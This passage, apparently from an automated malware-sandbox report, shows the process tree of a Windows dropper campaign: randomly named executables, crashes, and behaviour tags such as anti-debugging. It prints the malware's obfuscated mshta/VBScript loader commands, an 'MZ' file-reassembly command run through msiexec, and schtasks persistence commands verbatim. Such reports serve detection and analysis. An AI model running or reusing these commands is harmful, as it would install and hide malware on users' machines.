        "C:\Users\Admin\Pictures\Adobe Films\sV789KtEe4siyfKC6Pl8h46N.exe"
        7⤵
        Executes dropped EXE
        
        PID:2612
        
        C:\Users\Admin\Pictures\Adobe Films\nYv3mH7pN4MkiZRUT__PDdR5.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\nYv3mH7pN4MkiZRUT__PDdR5.exe"
        7⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of AdjustPrivilegeToken
        
        PID:5776
        
        C:\Users\Admin\Pictures\Adobe Films\zzeuyvoQ9cP8cdPOCb3DNrYe.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\zzeuyvoQ9cP8cdPOCb3DNrYe.exe"
        7⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:5552
        
        C:\Users\Admin\Pictures\Adobe Films\F019xF60r4yM3lq7uJmvoJUt.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\F019xF60r4yM3lq7uJmvoJUt.exe"
        7⤵
        Executes dropped EXE
        
        PID:4268
        
        C:\Users\Admin\Pictures\Adobe Films\cbI7XFbCPIAbizaIZHzshdN1.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\cbI7XFbCPIAbizaIZHzshdN1.exe"
        7⤵
        Executes dropped EXE
        
        PID:5344
        
        C:\Users\Admin\AppData\Roaming\Underdress.exe
        
        C:\Users\Admin\AppData\Roaming\Underdress.exe
        8⤵
        
        PID:6296
        
        C:\Users\Admin\AppData\Local\Temp\Unseduceability.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Unseduceability.exe"
        9⤵
        
        PID:6892
        
        C:\Users\Admin\Pictures\Adobe Films\6JLC9I16cFU4mOewMFhDYiEE.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\6JLC9I16cFU4mOewMFhDYiEE.exe"
        7⤵
        Executes dropped EXE
        
        PID:5232
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5232 -s 336
        8⤵
        Program crash
        
        PID:6764
        
        C:\Users\Admin\Pictures\Adobe Films\blXlcXNZVySYqSB_9vrYgAVH.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\blXlcXNZVySYqSB_9vrYgAVH.exe"
        7⤵
        
        PID:6276
        
        C:\Users\Admin\Pictures\Adobe Films\6HxtoaTW_wJQ398qRKfQmVEX.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\6HxtoaTW_wJQ398qRKfQmVEX.exe"
        7⤵
        
        PID:6256
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6256 -s 684
        8⤵
        Program crash
        
        PID:1816
        
        C:\Users\Admin\Pictures\Adobe Films\86ZvVb2S_plLiFKDoLiE8_Rw.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\86ZvVb2S_plLiFKDoLiE8_Rw.exe"
        7⤵
        
        PID:6248
        
        C:\Users\Admin\Pictures\Adobe Films\ZSiPNKDJo32yi8M14UM0haip.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\ZSiPNKDJo32yi8M14UM0haip.exe"
        7⤵
        
        PID:6336
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6336 -s 280
        8⤵
        Program crash
        
        PID:5280
        
        C:\Users\Admin\Pictures\Adobe Films\ylktSiQVSZE28176E1chHlI7.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\ylktSiQVSZE28176E1chHlI7.exe"
        7⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:6660
        
        C:\Users\Admin\Pictures\Adobe Films\k2jQnxXKqQPu6ApIPT926rYc.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\k2jQnxXKqQPu6ApIPT926rYc.exe"
        7⤵
        
        PID:6476
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6476 -s 824
        8⤵
        Program crash
        
        PID:3964
        
        C:\Users\Admin\Pictures\Adobe Films\6PqCCFqXmGM21k7Kti18im_q.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\6PqCCFqXmGM21k7Kti18im_q.exe"
        7⤵
        
        PID:7048
        
        C:\Users\Admin\Pictures\Adobe Films\6PqCCFqXmGM21k7Kti18im_q.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\6PqCCFqXmGM21k7Kti18im_q.exe"
        8⤵
        
        PID:6640
        
        C:\Users\Admin\Pictures\Adobe Films\bpwcVaN01kJSCjtN0iEi077T.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\bpwcVaN01kJSCjtN0iEi077T.exe"
        7⤵
        
        PID:5864
        
        C:\Users\Admin\Pictures\Adobe Films\waiUSYGzHuNZz2GqEaryWFK2.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\waiUSYGzHuNZz2GqEaryWFK2.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1996
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VBsCRIPt:cLose( creAteObjecT("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\Pictures\Adobe Films\waiUSYGzHuNZz2GqEaryWFK2.exe"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If """"== """" for %K iN ( ""C:\Users\Admin\Pictures\Adobe Films\waiUSYGzHuNZz2GqEaryWFK2.exe"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )
        8⤵
        
        PID:1944
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\Pictures\Adobe Films\waiUSYGzHuNZz2GqEaryWFK2.exe" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If ""== "" for %K iN ( "C:\Users\Admin\Pictures\Adobe Films\waiUSYGzHuNZz2GqEaryWFK2.exe" ) do taskkill -im "%~NxK" -F
        9⤵
        
        PID:6240
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -im "waiUSYGzHuNZz2GqEaryWFK2.exe" -F
        10⤵
        Kills process with taskkill
        
        PID:6320
        
        C:\Users\Admin\AppData\Local\Temp\8pWB.eXE
        
        8pWB.eXe /pO_wtib1KE0hzl7U9_CYP
        10⤵
        
        PID:6444
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VBsCRIPt:cLose( creAteObjecT("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If ""/pO_wtib1KE0hzl7U9_CYP ""== """" for %K iN ( ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )
        11⤵
        
        PID:3316
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If "/pO_wtib1KE0hzl7U9_CYP "== "" for %K iN ( "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" ) do taskkill -im "%~NxK" -F
        12⤵
        Blocklisted process makes network request
        Executes dropped EXE
        
        PID:2084
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbScRIpT: close (crEaTEOBject ("WSCRIPt.SheLl" ). rUn ("C:\Windows\system32\cmd.exe /c EcHO | seT /p = ""MZ"" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 +HxU0.m + HR0NM.yl + _AECH.7+ ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY " ,0 , TruE ) )
        11⤵
        
        PID:7800
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c EcHO | seT /p = "MZ" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 +HxU0.m + HR0NM.yl+ _AECH.7+ ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY
        12⤵
        
        PID:8172
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" seT /p = "MZ" 1>1AQCPNL9.1"
        13⤵
        
        PID:3300
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" EcHO "
        13⤵
        
        PID:4100
        
        C:\Windows\SysWOW64\msiexec.exe
        
        msiexec.exe -y .\N3V4H8H.SXY
        13⤵
        
        PID:5616
        
        C:\Users\Admin\Pictures\Adobe Films\azsgwgnMmRahcH00UyM0NGJz.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\azsgwgnMmRahcH00UyM0NGJz.exe"
        7⤵
        
        PID:5476
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5476 -s 288
        8⤵
        Program crash
        
        PID:1912
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Fri043b65bf09aa6129a.exe
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2516
      - C:\Users\Admin\AppData\Local\Temp\7zS0E7EC7D3\Fri043b65bf09aa6129a.exe
        
        Fri043b65bf09aa6129a.exe
        6⤵
        
        PID:720
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Fri04f70c88181ec8.exe
        5⤵
        
        PID:2184
      - C:\Users\Admin\AppData\Local\Temp\7zS0E7EC7D3\Fri04f70c88181ec8.exe
        
        Fri04f70c88181ec8.exe
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:1460
        
        C:\Users\Admin\AppData\Local\Temp\7zS0E7EC7D3\Fri04f70c88181ec8.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS0E7EC7D3\Fri04f70c88181ec8.exe
        7⤵
        Executes dropped EXE
        
        PID:3192
        
        C:\Users\Admin\AppData\Local\Temp\7zS0E7EC7D3\Fri04f70c88181ec8.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS0E7EC7D3\Fri04f70c88181ec8.exe
        7⤵
        Executes dropped EXE
        
        PID:5396
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Fri0471ced4d802994.exe
        5⤵
        
        PID:2172
      - C:\Users\Admin\AppData\Local\Temp\7zS0E7EC7D3\Fri0471ced4d802994.exe
        
        Fri0471ced4d802994.exe
        6⤵
        Executes dropped EXE
        
        PID:1800
        
        C:\Users\Admin\AppData\Local\Temp\is-2V8PR.tmp\Fri0471ced4d802994.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-2V8PR.tmp\Fri0471ced4d802994.tmp" /SL5="$1023A,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS0E7EC7D3\Fri0471ced4d802994.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:4076
        
        C:\Users\Admin\AppData\Local\Temp\7zS0E7EC7D3\Fri0471ced4d802994.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7zS0E7EC7D3\Fri0471ced4d802994.exe" /SILENT
        8⤵
        Executes dropped EXE
        
        PID:2996
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Fri040eeed7d137.exe
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1912
      - C:\Users\Admin\AppData\Local\Temp\7zS0E7EC7D3\Fri040eeed7d137.exe
        
        Fri040eeed7d137.exe
        6⤵
        Executes dropped EXE
        
        PID:3520
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3520 -s 292
        7⤵
        Program crash
        
        PID:7040
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Fri040df945a5.exe /mixone
        5⤵
        
        PID:3256
      - C:\Users\Admin\AppData\Local\Temp\7zS0E7EC7D3\Fri040df945a5.exe
        
        Fri040df945a5.exe /mixone
        6⤵
        Executes dropped EXE
        
        PID:1180
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1180 -s 240
        7⤵
        Program crash
        
        PID:3664
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Fri043a70f76ef98.exe
        5⤵
        
        PID:3812
      - C:\Users\Admin\AppData\Local\Temp\7zS0E7EC7D3\Fri043a70f76ef98.exe
        
        Fri043a70f76ef98.exe
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:3184
        
        C:\Users\Admin\Pictures\Adobe Films\nPwHKHkv3yBofGgATQz5wWGV.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\nPwHKHkv3yBofGgATQz5wWGV.exe"
        7⤵
        Executes dropped EXE
        
        PID:5640
        
        C:\Users\Admin\Pictures\Adobe Films\tuOtrNERWdeo9TWUNiHeauug.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\tuOtrNERWdeo9TWUNiHeauug.exe"
        7⤵
        
        PID:6000
        
        C:\Users\Admin\Pictures\Adobe Films\Tre_1g12ZSSyu6sJ7ud3TVBF.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\Tre_1g12ZSSyu6sJ7ud3TVBF.exe"
        7⤵
        
        PID:2036
        
        C:\Users\Admin\Pictures\Adobe Films\8OJBLplc_C14swOHJ78qsUai.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\8OJBLplc_C14swOHJ78qsUai.exe"
        7⤵
        Executes dropped EXE
        Drops file in Program Files directory
        
        PID:1984
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
        8⤵
        Creates scheduled task(s)
        
        PID:5960
        
        C:\Users\Admin\Documents\nJKrgIUEtxYeU44vymS69AX_.exe
        
        "C:\Users\Admin\Documents\nJKrgIUEtxYeU44vymS69AX_.exe"
        8⤵
        
        PID:2476
        
        C:\Users\Admin\Pictures\Adobe Films\_MeQgeETcMaFmgmM6tJj3zw1.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\_MeQgeETcMaFmgmM6tJj3zw1.exe"
        9⤵
        
        PID:6624
        
        C:\Users\Admin\Pictures\Adobe Films\3KY_RCsbrG6cUw117cxZrq0v.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\3KY_RCsbrG6cUw117cxZrq0v.exe"
        9⤵
        
        PID:6608
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6608 -s 1776
        10⤵
        Program crash
        
        PID:7952
        
        C:\Users\Admin\Pictures\Adobe Films\OkuS3FHVdz8_YZCaXFi93vCr.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\OkuS3FHVdz8_YZCaXFi93vCr.exe"
        9⤵
        
        PID:2064
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\OkuS3FHVdz8_YZCaXFi93vCr.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\Pictures\Adobe Films\OkuS3FHVdz8_YZCaXFi93vCr.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )
        10⤵
        
        PID:7284
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\OkuS3FHVdz8_YZCaXFi93vCr.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\Pictures\Adobe Films\OkuS3FHVdz8_YZCaXFi93vCr.exe" ) do taskkill -f -iM "%~NxM"
        11⤵
        
        PID:7556
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -f -iM "OkuS3FHVdz8_YZCaXFi93vCr.exe"
        12⤵
        Kills process with taskkill
        
        PID:5600
        
        C:\Users\Admin\Pictures\Adobe Films\TNw3c2mr9ojTmF5J40tjOpn7.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\TNw3c2mr9ojTmF5J40tjOpn7.exe"
        9⤵
        
        PID:1068
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1068 -s 300
        10⤵
        Program crash
        
        PID:8012
        
        C:\Users\Admin\Pictures\Adobe Films\pinUYcbFvhBvdxpWpoalzlcG.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\pinUYcbFvhBvdxpWpoalzlcG.exe"
        9⤵
        
        PID:6332
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6332 -s 276
        10⤵
        Program crash
        
        PID:7696
        
        C:\Users\Admin\Pictures\Adobe Films\9qaw9kkIMS3Xd_44j6aw_8I5.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\9qaw9kkIMS3Xd_44j6aw_8I5.exe"
        9⤵
        
        PID:7264
        
        C:\Users\Admin\Pictures\Adobe Films\SAqp83oejTtM6sJ69DzIxJFS.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\SAqp83oejTtM6sJ69DzIxJFS.exe"
        9⤵
        
        PID:7728
        
        C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
        10⤵
        
        PID:6696
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--bo6y9QQgnM"
        11⤵
        
        PID:3548
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x204,0x208,0x20c,0x1e0,0x210,0x7ff860a7dec0,0x7ff860a7ded0,0x7ff860a7dee0
        12⤵
        
        PID:6120
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1724,13470663850543772725,1604411434306796873,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw3548_1690134994" --mojo-platform-channel-handle=1740 /prefetch:8
        12⤵
        
        PID:6344
        
        C:\Users\Admin\Pictures\Adobe Films\EwYs86AjulY76d8Knscn8Tpc.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\EwYs86AjulY76d8Knscn8Tpc.exe"
        9⤵
        
        PID:7720
        
        C:\Users\Admin\Pictures\Adobe Films\EwYs86AjulY76d8Knscn8Tpc.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\EwYs86AjulY76d8Knscn8Tpc.exe" -u
        10⤵
        
        PID:2156
        
        C:\Users\Admin\Pictures\Adobe Films\1S0i1pD21JVzN3Vbv_SgmtMn.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\1S0i1pD21JVzN3Vbv_SgmtMn.exe"
        9⤵
        
        PID:7372
        
        C:\Users\Admin\AppData\Local\Temp\is-ABDDO.tmp\1S0i1pD21JVzN3Vbv_SgmtMn.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-ABDDO.tmp\1S0i1pD21JVzN3Vbv_SgmtMn.tmp" /SL5="$A0024,506127,422400,C:\Users\Admin\Pictures\Adobe Films\1S0i1pD21JVzN3Vbv_SgmtMn.exe"
        10⤵
        
        PID:5408
        
        C:\Users\Admin\AppData\Local\Temp\is-D2QUV.tmp\DYbALA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-D2QUV.tmp\DYbALA.exe" /S /UID=2709
        11⤵
        
        PID:1800
        
        C:\Users\Admin\AppData\Local\Temp\e3-56efa-ba0-a3ca2-09f43fb3ff3fd\Cifyzhetaerae.exe
        
        "C:\Users\Admin\AppData\Local\Temp\e3-56efa-ba0-a3ca2-09f43fb3ff3fd\Cifyzhetaerae.exe"
        12⤵
        Modifies system certificate store
        
        PID:4720
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\tncstli2.wrc\GcleanerEU.exe /eufive & exit
        13⤵
        
        PID:6952
        
        C:\Users\Admin\AppData\Local\Temp\tncstli2.wrc\GcleanerEU.exe
        
        C:\Users\Admin\AppData\Local\Temp\tncstli2.wrc\GcleanerEU.exe /eufive
        14⤵
        
        PID:4844
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4844 -s 236
        15⤵
        Program crash
        
        PID:3568
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\im1h4hru.kij\installer.exe /qn CAMPAIGN="654" & exit
        13⤵
        
        PID:7488
        
        C:\Users\Admin\AppData\Local\Temp\im1h4hru.kij\installer.exe
        
        C:\Users\Admin\AppData\Local\Temp\im1h4hru.kij\installer.exe /qn CAMPAIGN="654"
        14⤵
        
        PID:2220
        
        C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\im1h4hru.kij\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\im1h4hru.kij\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1636130006 /qn CAMPAIGN=""654"" " CAMPAIGN="654"
        15⤵
        
        PID:5196
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\k0te1zoz.kzu\any.exe & exit
        13⤵
        
        PID:2608
        
        C:\Users\Admin\AppData\Local\Temp\k0te1zoz.kzu\any.exe
        
        C:\Users\Admin\AppData\Local\Temp\k0te1zoz.kzu\any.exe
        14⤵
        
        PID:3972
        
        C:\Users\Admin\AppData\Local\Temp\k0te1zoz.kzu\any.exe
        
        "C:\Users\Admin\AppData\Local\Temp\k0te1zoz.kzu\any.exe" -u
        15⤵
        
        PID:2436
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\xnd2j3if.1kw\gcleaner.exe /mixfive & exit
        13⤵
        
        PID:1196
        
        C:\Users\Admin\AppData\Local\Temp\xnd2j3if.1kw\gcleaner.exe
        
        C:\Users\Admin\AppData\Local\Temp\xnd2j3if.1kw\gcleaner.exe /mixfive
        14⤵
        
        PID:6532
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6532 -s 236
        15⤵
        Program crash
        
        PID:7972
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\vmskqivp.zjh\autosubplayer.exe /S & exit
        13⤵
        
        PID:2544
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
        8⤵
        Creates scheduled task(s)
        
        PID:6040
        
        C:\Users\Admin\Pictures\Adobe Films\9Pwru6h1QFUn2bnBU2yteVil.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\9Pwru6h1QFUn2bnBU2yteVil.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious behavior: MapViewOfSection
        
        PID:5772
        
        C:\Users\Admin\Pictures\Adobe Films\FKpZuB1snNBCU9Wbg4B5doU0.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\FKpZuB1snNBCU9Wbg4B5doU0.exe"
        7⤵
        
        PID:5684
        
        C:\Users\Admin\Pictures\Adobe Films\sV789KtEe4siyfKC6Pl8h46N.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\sV789KtEe4siyfKC6Pl8h46N.exe"
        7⤵
        Executes dropped EXE
        
        PID:5456
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Fri0470d89df3bb718.exe
        5⤵
        
        PID:2640
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Fri04a13875aa1c59b58.exe
        5⤵
        
        PID:1940
      - C:\Users\Admin\AppData\Local\Temp\7zS0E7EC7D3\Fri04a13875aa1c59b58.exe
        
        Fri04a13875aa1c59b58.exe
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2868
        
        C:\Users\Admin\AppData\Roaming\6433899.exe
        
        "C:\Users\Admin\AppData\Roaming\6433899.exe"
        7⤵
        Executes dropped EXE
        
        PID:5792
        
        C:\Users\Admin\AppData\Roaming\5914768.exe
        
        "C:\Users\Admin\AppData\Roaming\5914768.exe"
        7⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:3352
        
        C:\Users\Admin\AppData\Roaming\3181165.exe
        
        "C:\Users\Admin\AppData\Roaming\3181165.exe"
        7⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:5236
        
        C:\Users\Admin\AppData\Roaming\5829025.exe
        
        "C:\Users\Admin\AppData\Roaming\5829025.exe"
        7⤵
        
        PID:6856
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL"). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Roaming\5829025.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF """" == """" for %Z iN ( ""C:\Users\Admin\AppData\Roaming\5829025.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ))
        8⤵
        
        PID:6608
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Roaming\5829025.exe" ..\RxAPuFNW.exe &&sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "" == "" for %Z iN ( "C:\Users\Admin\AppData\Roaming\5829025.exe" ) do taskkill -f -Im "%~NXZ"
        9⤵
        
        PID:1444
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -f -Im "5829025.exe"
        10⤵
        Kills process with taskkill
        
        PID:6488
        
        C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe
        
        ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i
        10⤵
        
        PID:6344
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL"). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF ""-P1jBMdKQQ16j1dp4oT~i "" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ))
        11⤵
        
        PID:4084
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ..\RxAPuFNW.exe &&sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "-P1jBMdKQQ16j1dp4oT~i " == "" for %Z iN ( "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ) do taskkill -f -Im "%~NXZ"
        12⤵
        
        PID:6348
        
        C:\Windows\SysWOW64\mshta.exe
        
